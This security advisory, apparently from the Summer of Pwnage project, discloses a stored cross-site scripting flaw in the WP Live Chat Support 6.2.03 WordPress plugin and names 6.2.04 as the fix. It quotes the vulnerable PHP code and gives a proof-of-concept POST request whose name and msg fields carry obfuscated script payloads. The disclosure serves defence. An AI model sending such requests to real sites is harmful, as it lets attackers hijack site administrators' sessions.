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WordPress WP Live Chat Support 6.2.03 Cross Site Scripting

WordPress WP Live Chat Support 6.2.03 Cross Site Scripting
Posted Aug 1, 2016
Authored by Securify B.V., Dennis Kerdijk, Erwin Kievith

WordPress WP Live Chat plugin version 6.2.03 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 1bcad91213fd9df4950de716adbc8282

WordPress WP Live Chat Support 6.2.03 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Stored Cross-Site Scripting vulnerability in WP Live Chat Support
WordPress Plugin
------------------------------------------------------------------------
Dennis Kerdijk <dennis.at.securelabs.nl> & Erwin Kievith
<erwin.at.securelabs.nl>, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the WP Live
Chat Support WordPress Plugin. This issue can be exploited by an
unauthenticated user. It allows an attacker to perform a wide variety of
actions, such as stealing users' session tokens, or performing arbitrary
actions on their behalf.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0010

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on WP Live Chat Support WordPress
Plugin version 6.2.03.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in WP Live Chat Support version 6.2.04.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/stored_cross_site_scripting_vulnerability_in_wp_live_chat_support_wordpress_plugin.html

The vulnerability exists in the file wp-live-chat-support/functions.php (line 1233), which is called in the file wp-live-chat-support/wp-live-chat-support.php (line 602):

wp-live-chat-support/wp-live-chat-support.php:

600 if ($_POST['action'] == "wplc_user_send_offline_message") {
601 if(function_exists('wplc_send_offline_msg')){ wplc_send_offline_msg($_POST['name'], $_POST['email'], $_POST['msg'], $_POST['cid']); }
602 if(function_exists('wplc_store_offline_message')){ wplc_store_offline_message($_POST['name'], $_POST['email'], $_POST['msg']); }
603 do_action("wplc_hook_offline_message",array(
604 "cid"=>$_POST['cid'],
605 "name"=>$_POST['name'],
606 "email"=>$_POST['email'],
607 "url"=>get_site_url(),
608 "msg"=>$_POST['msg']
609 )
610 );
611 }

wp-live-chat-support/functions.php:

1206 function wplc_store_offline_message($name, $email, $message){
1207 global $wpdb;
1208 global $wplc_tblname_offline_msgs;
1209
1210 $wplc_settings = get_option('WPLC_SETTINGS');
1211
1212 if(isset($wplc_settings['wplc_record_ip_address']) && $wplc_settings['wplc_record_ip_address'] == 1){
1213 if(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && $_SERVER['HTTP_X_FORWARDED_FOR'] != '') {
1214 $ip_address = $_SERVER['HTTP_X_FORWARDED_FOR'];
1215 } else {
1216 $ip_address = $_SERVER['REMOTE_ADDR'];
1217 }
1218 $offline_ip_address = $ip_address;
1219 } else {
1220 $offline_ip_address = "";
1221 }
1222
1223
1224 $ins_array = array(
1225 'timestamp' => current_time('mysql'),
1226 'name' => $name,
1227 'email' => $email,
1228 'message' => $message,
1229 'ip' => $offline_ip_address,
1230 'user_agent' => $_SERVER['HTTP_USER_AGENT']
1231 );
1232
1233 $rows_affected = $wpdb->insert( $wplc_tblname_offline_msgs, $ins_array );
1234 return;
1235 }

The vulnerability can be exploited using a specially crafted POST request. The victim needs view the WP Live Chat Offline Messages page to trigger the Cross-Site Scripting payload. It should be noted taht the offline message functionality is available even if there is a logged on chat user present.
Proof of concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 361
Connection: close

action=wplc_user_send_offline_message&security=8d1fc19e30&cid=1&name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 110, 97, 109, 101, 33, 34, 41, 59));</script>&email=Mail&msg=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 32, 105, 110, 32, 109, 115, 103, 33, 34, 41, 59));</script>



------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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